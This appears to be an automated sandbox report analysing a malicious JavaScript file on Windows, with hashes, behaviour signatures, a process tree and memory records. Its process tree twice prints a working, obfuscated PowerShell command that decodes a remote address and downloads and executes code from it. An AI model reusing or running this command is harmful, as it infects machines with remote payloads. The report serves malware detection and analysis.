Analysis

  • max time kernel
    94s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:13

General

  • Target

    cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js

  • Size

    201KB

  • MD5

    c71db149c7c1b853f4c0479019433510

  • SHA1

    e11559374b388818531f0f603acd4513ae398b7b

  • SHA256

    cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b

  • SHA512

    b87fec34c9f7748d8bf54194fb47108772a94c4fc180f90f8f67591464163c2dc88d9a71cb756a6e7503422960c38359d1d13630c6e30ce861b78da4e11f2379

  • SSDEEP

    1536:nwpXxvpKC/UoNm+pflcKSjue/9j7jk1wt3PSQ/KKC/UoNm+pfQcKSjue/9j7jk1H:n2csBrf9m+csBmf9m/f9mRcsBWcsBK

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\cb18ea9bd1276d8692900fe139ee0dd9aaff882a4b66dc883f4739b9046ede7b.js
    1⤵
      PID:4640
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $dtbvljaqiu='ur' ;new-alias printout c$($dtbvljaqiu)l;$vcezytfnrx=(789,800,808,792,794,789,809,808,813,746,808,742,789,737,807,802,803,738,740,737,803,795,803,754,806,752,800,796,801,807,806,741,740);$jrnbxzp=('bronx','get-cmdlet');$qvgurspm=$vcezytfnrx;foreach($fjbmol in $qvgurspm){$smtjkdrzxp=$fjbmol;$zbrohays=$zbrohays+[char]($smtjkdrzxp-691);$koleyfrdwjan=$zbrohays; $bjmosqeycpluz=$koleyfrdwjan};$kdvjolfux[2]=$bjmosqeycpluz;$hzpbgqjsvecmd='rl';$yoincfaj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bjmosqeycpluz)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dtbvljaqiu='ur' ;new-alias printout c$($dtbvljaqiu)l;$vcezytfnrx=(789,800,808,792,794,789,809,808,813,746,808,742,789,737,807,802,803,738,740,737,803,795,803,754,806,752,800,796,801,807,806,741,740);$jrnbxzp=('bronx','get-cmdlet');$qvgurspm=$vcezytfnrx;foreach($fjbmol in $qvgurspm){$smtjkdrzxp=$fjbmol;$zbrohays=$zbrohays+[char]($smtjkdrzxp-691);$koleyfrdwjan=$zbrohays; $bjmosqeycpluz=$koleyfrdwjan};$kdvjolfux[2]=$bjmosqeycpluz;$hzpbgqjsvecmd='rl';$yoincfaj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bjmosqeycpluz)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2220

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yed1oddf.sju.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2220-0-0x00007FFC27D23000-0x00007FFC27D25000-memory.dmp

      Filesize

      8KB

    • memory/2220-6-0x000001EF681B0000-0x000001EF681D2000-memory.dmp

      Filesize

      136KB

    • memory/2220-11-0x00007FFC27D20000-0x00007FFC287E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2220-12-0x00007FFC27D20000-0x00007FFC287E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2220-13-0x00007FFC27D20000-0x00007FFC287E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2220-14-0x00007FFC27D20000-0x00007FFC287E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2220-15-0x00007FFC27D23000-0x00007FFC27D25000-memory.dmp

      Filesize

      8KB

    • memory/2220-16-0x00007FFC27D20000-0x00007FFC287E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2220-19-0x00007FFC27D20000-0x00007FFC287E1000-memory.dmp

      Filesize

      10.8MB